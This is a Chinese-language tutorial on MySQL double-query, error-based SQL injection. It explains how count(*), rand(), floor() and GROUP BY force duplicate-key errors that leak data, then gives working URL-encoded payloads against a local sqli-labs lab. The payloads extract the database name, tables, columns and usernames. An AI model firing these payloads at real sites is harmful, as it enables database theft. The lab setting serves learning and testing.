双查询注入
0x01爱之初了解
在第一次接触到双查询注入时 肯定会有很多问题 在这里我们先了解一下什么叫做 双查询注入 他的语法结构 以及为什么这样构造
答:在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。
看一个简单的例子:
Select concat((select database()));
真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。
原理:
双注入查询需要理解四个函数/语句
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
以本地一个名为Security的数据库为例进入数据库
然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
然后我们执行一下前面那个简单的子查询的例子
就能显示security,也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入
select concat("string1","xxx")
显然结果就是string1xxx了
然后我们测试一下rand()这个随机函数是干嘛的 我们多执行一下
可以看到,这个函数就是返回大于0,小于1之间的数 然后看看取整函数
这个函数就是返回小于等于你输入的数的整数。然后我们看看双注入查询中的一个简单组合。
select floor(rand()*2);
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0 我们稍微加大一点难度。看这个查询
select concat((select database()),floor(rand()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有10个数据库。所以会返回10个结果
现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。
select concat((select database()),floor(rand()*1000))as a from information_schema.schemata group by a;
这里我先解释一下。
我们把concat((select database()), floor(rand()*1000)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下10个结果了。
意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
最后的亮点来了。。
我们输入这条:注意多了一个聚合函数count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
重复的键值 可以看到security就是我们的查询结果了
当然也可以查询版本这些
select count(*),concat((select version()),floor(rand()*2))as a from information_schema.schemata group by a;
我们再来看下一个
select count(*), concat((select user()),floor(rand()*2))as a from information_schema.tables group by a;
0x02爱之初体验
熟悉了结构和原理之后 我们尝试一下可否爆出当前数据库名称 这里count(*)函数也可以当成是一个列 来填充null
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20database()),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
好像成功了耶 数据库名称有了
爆表名称
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.schemata%20where%20table_schema=%27security%27),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
哦豁 结果多余一行 报错了
那怎么办呐? limit函数帮你解决 了解函数上链接
https://blog.csdn.net/u011277123/article/details/54844834
构造语句 就是有点麻烦得一个一个试出来
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
这里我们觉得users就要要查的列 继续爆破 哈哈 有时候会卡错 多刷新一下就行了
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%207,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
然后就是爆字段了
http://127.0.0.1/sql1/Less-5/?id=1%27%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23
本次注入是因为他没有显示参数的值出来 所以我们先想到的是让他在错误中体现出来 然后一步一步摸索
切记 学习之路 少就是多 慢就是快